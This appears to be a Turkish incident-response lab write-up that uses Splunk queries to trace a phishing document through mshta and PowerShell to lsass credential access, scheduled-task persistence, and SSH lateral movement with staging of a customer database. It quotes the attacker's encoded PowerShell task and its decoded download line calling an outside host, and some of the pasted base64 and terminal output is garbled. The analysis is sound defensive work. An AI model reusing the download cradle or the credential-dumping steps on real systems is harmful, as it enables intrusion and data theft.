

Sorgular ve bulgular

Sysmon — PID zinciri doğrulaması

Neden bu adıma gidildi: Gün 1'de zincir (docm → mshta → powershell → lsass erişimi) sadece zaman sırasına bakılarak kurulmuştu, PID ile teyit edilmemişti — INFERRED durumdaydı. Bunu kesinleştirmek için ProcessId/ParentProcessId eşleşmesine bakıldı.

Kullanılan sorgu:

```
index=case2 sourcetype=case2:sysmon host=FIN-WS03
| table _time, EventID, Image, ProcessId, ParentProcessId, DestinationIp, DestinationHostname
| sort _time
```

_time ↕	EventID ↕ ↗	Image ↕ ↗	ProcessId ↕ ↗	ParentProcessId ↕ ↗	
2026-09-14 08:35:02	1	C:\Windows\System32\svchost.exe	980	612	
2026-09-14 09:05:41	1	C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE	3120	2400	
2026-09-14 09:33:10	1	C:\Program Files\Google\Chrome\Application\chrome.exe	3600	2400	
2026-09-14 09:41:12	1	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	3990	2400	
2026-09-14 09:41:18	1	C:\Windows\System32\mshta.exe	4820	3990	
2026-09-14 09:41:19	1	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	5012	4820	
2026-09-14 09:41:24	3	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	5012		4
2026-09-14 09:41:31	1	C:\Users\b.kaya\AppData\Local\Temp\svchost_update.exe	5240	5012	
2026-09-14 10:05:47	1	C:\Users\b.kaya\AppData\Local\Temp\m.exe	5990	5240	
2026-09-14 10:05:48	10				
2026-09-14 10:40:12	1	C:\Windows\System32\notepad.exe	6210	2400	

Bulunan PID zinciri:

explorer.exe (2400)

→ WINWORD.EXE (3990, ParentProcessId=2400) — Fatura_2026_4471.docm açıldı

→ mshta.exe (4820, ParentProcessId=3990)

→ powershell.exe (5012, ParentProcessId=4820) — 45.137.21.88'e bağlandı (EventID=3)

→ svchost_update.exe (5240, ParentProcessId=5012)

→ m.exe (5990, ParentProcessId=5240)

Not: OUTLOOK.EXE, chrome.exe, WINWORD.EXE, notepad.exe hepsinin ParentProcessId = 2400 olması bunların birbirinden bağımsız, kullanıcı tarafından ayrı ayrı açıldığı anlamına gelir (2400 = muhtemelen explorer.exe). Yani WINWORD'ü Outlook başlatmamış.

** Isass erişimi (EventID=10) için ayrı alan isimleri kullanıldı (SourceProcessId/TargetProcessId, ParentProcessId değil):

index=case2 sourcetype=case2:sysmon host=FIN-WS03 EventID=10

| table _time, SourceImage, SourceProcessId, TargetImage, TargetProcessId, GrantedAccess

SourceImage	SourceProcessId	TargetImage	TargetProcessId	GrantedAccess
C:\Users\b.kaya\AppData\Local\Temp\m.exe	5990	C:\Windows\System32\lsass.exe	712	0x1410

Sonuç: GrantedAccess=0x1410 (PROCESS_VM_READ + PROCESS_QUERY_INFORMATION = bellek okuma amaçlı, credential dumping'in klasik imzası). 5990 zaten zincirdeki m.exe'nin PID'si. Eşleşme doğrulandı.

Zincir artık PID ile kanıtlanmış, INFERRED değil OBSERVED.

Winsecurity — Scheduled Task (persistence)

Neden bu adıma gidildi: Task sorusu "kalıcılık bıraktı mı?" idi. Persistence'in standart Windows göstergesi EventCode=4698 (scheduled task oluşturma) olduğu için, zincirin geçtiği host'ta (FIN-WS03) bu event koduna bakıldı.

Kullanılan sorgu:

index=case2 sourcetype=case2:winsecurity host=FIN-WS03 EventCode=4698

| table _time, SubjectUserName, TaskName, TaskContent

_time	SubjectUserName	TaskName	TaskContent
2026-09-14 10:38:02	b.kaya	\SystemTelemetrySync	powershell.exe -w hidden -nop -enc JABjAD0ATgB1AHcALQBPAGIAagB1AGMAdAAgAE4AZQB0AC4AVwB1AGIAQwB sAgKAZQBwAHQA0wAkAGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcaAA6AC8ALwBzAHQAYQB0AGkAYwAtAGMAZABuAC0AYQBwAGEAbAB5AHQAaQBjAHMALgBjAG8AbQAvAGIALgB1AHgAZQAnACwAIgA kAGUAbgB2ADoAVABFAE0AUABcAHMAdgBjAGgAbwBzAHQAXwB1AHAZABhAHQAZQAuAGUAeAB1ACIAKQA7AFM AdABhAHIAAdAAtAFAAcgBvAGMAZQBzAHMAIAAIAACQAZQBwAHYA0gBUAEUATQBQAFwAcwB2AGMAaABvAHMAdAB fAHUAcABkAGEAdAB1AC4AZQB4AGUAIgA=" base64 -d \$c=New-Object Net.WebClient;\$c.DownloadFile('http://static-cdn-analytics.com/b.exe', "\$env:TEMP\svc vboxuservboxusvboxusvboxusvboxvbvbvbvbvbvbvbvbvbvbvbvboxuservboxvbvb vboxuser@Ubuntu:~\$

Base64 decode edildi:

```
vboxuser@Ubuntu:~$ echo "JABjAD0ATgB1AHcALQBPAGIAagB1AGMAdAAgAE4AZQB0AC4AVwB1AGIAQwB
sAgKAZQBwAHQA0wAkAGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcaAA6AC8ALwBzAHQ
AYQB0AGkAYwAtAGMAZABuAC0AYQBwAGEAbAB5AHQAaQBjAHMALgBjAG8AbQAvAGIALgB1AHgAZQAnACwAIgA
kAGUAbgB2ADoAVABFAE0AUABcAHMAdgBjAGgAbwBzAHQAXwB1AHAZABhAHQAZQAuAGUAeAB1ACIAKQA7AFM
AdABhAHIAAdAAtAFAAcgBvAGMAZQBzAHMAIAAIAACQAZQBwAHYA0gBUAEUATQBQAFwAcwB2AGMAaABvAHMAdAB
fAHUAcABkAGEAdAB1AC4AZQB4AGUAIgA=" | base64 -d
$c=New-Object Net.WebClient;$c.DownloadFile('http://static-cdn-analytics.com/b.exe',
"$env:TEMP\svcvboxuservboxusvboxusvboxusvboxvbvbvbvbvbvbvbvbvbvbvbvboxuservboxvbvb
vboxuser@Ubuntu:~$
```

Bulgu: Bu görev, aynı domain'den (static-cdn-analytics.com) b.exe'yi indirip svchost_update.exe adıyla çalıştırıyor. Bu isim zaten PID zincirinde gördüğümüz svchost_update.exe ile birebir aynı. Yani svchost_update.exe'nin kaynağı bu scheduled task; tetiklendikçe zinciri yeniden başlatıyor.

SubjectUserName=b.kaya → bu, görevin b.kaya hesabı altında oluşturulduğunun OBSERVED kanıtı (4698 event'inin kendi alanı). Ama b.kaya'nın bunu bilerek mi yoksa ele geçirilmiş oturumu üzerinden mi yaptığı henüz ayrı bir soru → bu kısım hâlâ INFERRED.

Auth (app-db01) — Lateral Movement

Neden bu adıma gidildi: "Başka sisteme geçildi mi? Zincirin tamamı FIN-WS03 üzerindeydi; app-db01 farklı bir host olduğu için, oraya sıçrama olup olmadığı auth.log'da arandı. Pivot anahtarı: b.kaya/FIN-WS03'ün IP'si (192.168.20.45).

Bulunan kayıtlar:

10:31:44 — Accepted password for svc-backup from 192.168.20.45 port 44122 ssh2

10:33:02 — sudo: svc-backup ; USER=root ; COMMAND=/usr/bin/tar -czf /tmp/db_dump.tgz /var/lib/mysql/customers

10:36:20 — session closed for svc-backup

Karşılaştırma için aynı hesabın başka bir girişi de vardı:

03:00:04 — Accepted publickey for svc-backup from 192.168.30.10 port 40122 ssh2

Bulgu: İki giriş arasındaki fark önemli. 03:00 girişi publickey ile, farklı bir IP'den (muhtemelen otomatik yedekleme, servis hesabının normal davranışı). 10:31 girişi ise password ile, doğrudan FIN-WS03'ün IP'sinden (192.168.20.45) — bu, credential dumping girişimiyle (dün bulduğumuz lsass erişimi) bağlantılı olabilir: saldırgan svc-backup'ın parolasını FIN-WS03'te ele geçirip bu hesabı kullanarak app-db01'e sıçramış olabilir (T1078 — Valid Accounts, INFERRED).

sudo tar -czf db_dump.tgz komutu yeni bir yetki yükseltme değil — svc-backup'ın zaten sahip olduğu sudo hakkının kötüye kullanılması. Müşteri veritabanı (/var/lib/mysql/customers) bir arşive sıkıştırılmış — bu exfiltration'a hazırlık (staging), henüz "veri çalındı" demek için dışarı çıktığı kanıtlanmadı.